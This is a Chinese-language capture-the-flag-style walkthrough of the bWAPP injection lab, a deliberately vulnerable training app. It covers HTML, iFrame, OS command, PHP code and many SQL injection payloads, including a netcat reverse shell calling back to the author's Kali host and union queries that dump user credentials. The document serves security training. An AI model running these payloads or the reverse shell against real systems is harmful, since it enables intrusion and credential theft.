A1 - Injection

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP prepares one to conduct successful penetration testing and ethical hacking projects.

1.HTML Injection -Reflected(GET)

image-20220411092405736

可以发现这里没有对账号和密码进行审核或者过滤,直接打印出来了,那么试一试超链接

可以实现

image-20220411092626339

2.HTML Injection -Reflected(POST)

和上一题的方法一样,只是在这题中要使用POST方式进行提交

3.HTML Injection -Reflected(Current URL)

发现这里显示的内容都是靠host和url拼接起来的

image-20220411093341229

自己构造一下

image-20220411093429824

image-20220411093444782

4.HTML Injection -Stored(Blog)

这里直接是写入数据库的

image-20220411093739009

5.iFrame Injection

显示的内容是paramurl中的内容

image-20220411094044245

改为自己的博客链接

image-20220411094230833

那么解析显示的就是我的博客内容,当然显示的这个高宽也是可以设置

7.Mail Header Injection(STMP)

8.OS Command Injection

通过查看看源代码,用了shell_exec()函数,且没有做任何过滤,用pwd试试

image-20220411094806134

9.OS Command Injection(Blind)

因为没有返回信息,所以我们不知道到底有没有执行

image-20220411094930365

那么直接试试用nc 连接

kali:nc -lvvp 9999

靶机:nc 192.168.195.20 9999 -e /bin/bash #192.168.195.20是kali的ip

成功连接

image-20220411095229239

10.PHP Code Injection

看了源代码,这里用了eval()函数,并且没有做任何过滤,直接改用phpinfo()试试

成功解析执行

image-20220411095426461

11.Server-Side Includes(SSI)Injection

单引号大法,发现报错

image-20220411111623802

开始构造,最简单的当然还是 1’ or 1=1#

image-20220411112751959

成功拿到此表所有内容

爆破字段数量

1
2
3
4
5
1' order by 1#
1' order by 2#
1' order by 3#
...
1' order by 8#

从1到8挨个测试,发现到8的时候就显示未知的列,说明存在7个字段

爆破可显示的字段

1
1' union select 1,2,3,4,5,6,7#

2,3,4,5为可显示的字段

image-20220411113019055

爆破数据库名和数据库版本

这里只有2,3,4,5这四个字段可以用来进行利用,因为从上面一步知道只有这4个字段可以显示

1
1' union select 1,database(),version(),4,5,6,7#

image-20220411112433275

爆破数据表

1
-1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

爆破出5个表

image-20220411113351496

一般用户信息都在含有关键字user的表里面,所以在这应该就是users表

爆破字段名

爆破users表的字段名

1
-1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name='users'#

image-20220411113529304

爆破字段内容

在这里我只想查看login和password字段的内容

1
-1' union select 1,login,password,4,admin,6,7 from bWAPP.users#

image-20220411113703082

加密了的,看表面形式像是md5,拿去md5解密试试

解密出来的内容就是

A.I.M bug

bee bug

13.SQL Injection (GET/Select)

选择第一二三个,分别抓包对比了一下

image-20220411115133023

发现只是movie的值在改变

image-20220411115256184

使用单引号也还是返回了报错信息

image-20220411115531185

进行一个正常的注入,查看有几个字段

1
http://192.168.123.122/bWAPP/sqli_2.php?movie=1 order by 7&action=go

查看有哪些字段能显示出来

1
http://192.168.123.122/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,4,5,6,7%20&action=go

查看有哪些表

1
http://192.168.123.122/bWAPP/sqli_2.php?movie=-1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()

在这里只出现了一个表

image-20220411153551500

可以使用mysql的 **group_concat()**函数把其他表也显示出来

1
http://192.168.123.122/bWAPP/sqli_2.php?movie=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()

五个表都打印出来了

image-20220411153727668

接下来就是爆字段名等信息,那么思路和上一题是一样的,只是都要记得使用group_contat()函数,不然只会显示一条信息

14.SQL Injection (POST/Search)

这里是使用POST方式提交的,所以需要自己手动抓包来进行注入,思路和上一题都一样的哦

15.SQL Injection (POST/Select)

这是的思路也和上面的是一样的,数字型注入,要自己手动抓包来构造

image-20220411154221323

16.SQL Injection (AJAX/JSON/JQuery)

动态搜索加载的内容哦,还是用抓包工具

image-20220411154402552

每改动一次都会发包进行查询请求

image-20220411154446798

接下来爆字段、数据库、表等信息思路还是和上面一样的

17.SQL Injection (CAPTCHA)

这一题得先输入验证码

image-20220411154632580

我以为每次查询都要输入验证码,发现不需要,所以直接在这进行注入

image-20220411155107348

18.SQL Injection (Login Form/Hero)

看见登录框,当然是万能注入登录来一波啦

image-20220411155256910

19.SQL Injection (Login Form/User)

这个只有用工具去跑了

image-20220411164155003

20.SQL Injection (SQLite)

换了一个数据库,那么有的手法也得换一换

1
a' or 1=1-- 

image-20220411164431814

判断字段数

1
a%' order by 6--

判断字段显示顺序

1
a%' union select 1,2,3,4,5-- 

爆所有表

1
a%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master-- 

获取字段

1
a%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master-- 

获取表里面的信息

1
a%' union select 1,2,login,password,5,6 from users-- 

21.SQL Injection (Drupal)

已经给了提示了CVE-2014-3704

复现一下

22.SQL Injection - Stored (Blog)

这个手法要稍微改变一下

读取表

1
1',(select group_concat(table_name)from information_schema.tables where table_schema='bWAPP'))#

image-20220411194628710

查询当前用户

1
',(select user()))#

image-20220411194912802

查询数据库名

1
',(select database()))#

23.SQL Injection - Stored (SQLite)

思路还是不变,只是数据库从Mysql变成了SQLite

24.SQL Injection - Stored (User-Agent)

这个注入点在User-Agent处

查询数据库名

1
M',(select database())) #

查询当前用户

1
2
M',(select user())) #

image-20220411211754764

25.SQL Injection - Stored (XML)

查系统版本

1
<reset><login>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</login><secret>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</secret></reset>

image-20220411212654738

26.SQL Injection - Blind - Boolean-Based

猜有几个字段

1
1' or 1=0 order by 7-- 

image-20220411213105356

猜8个就会报错

image-20220411213155303

那么说明被执行了,所以思路也和上面的一样

27.SQL Injection - Blind - Time-Based

如果只是单纯的输入内容去查询,那么返回结果基本秒返回

image-20220411214136183

那么使用个**sleep()**函数试试

1
1'-sleep(1)-- 

image-20220411214319154

发现的确是经过了一段时间后才返回的消息,当然这个时间绝对不止我输入的1秒

28.SQL Injection - Blind (SQLite)

数据库也是换成了SQLite,手法换了一下,思路一样的还是没变,既然是盲注,就好比在于一个机器人对话,它只能回答你是或者不是,所以这种要有耐心,比如查询数据库名第一个字符是不是a,是不是b等等,只能这样挨个去试探

猜数据库长度

1
1' and length(database())=1 # 

判断数据库的第一个字符(其他字符也可以自己构造)

1
1' and ascii(substr(database(),1,1))<109 #

猜解数据库中存在几张表

1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

还有其他的手法,网上有很多

29.SQL Injection - Blind (Web Services/SOAP)

这个一般再实战中很难发现,一般都会和其他技能组合使用,这种SOAP注入也很难被利用

30.XML/XPath Injection (Login Form)

查看源码后,发现是通过读取heroes.xml文件的内容, 然后通过xpath寻找用户的账户和密码来进行验证登录

构造一个万能登录的payload

1
2
admin' or 1=1 or ''='
admin' or 1=1 or'

image-20220411224033475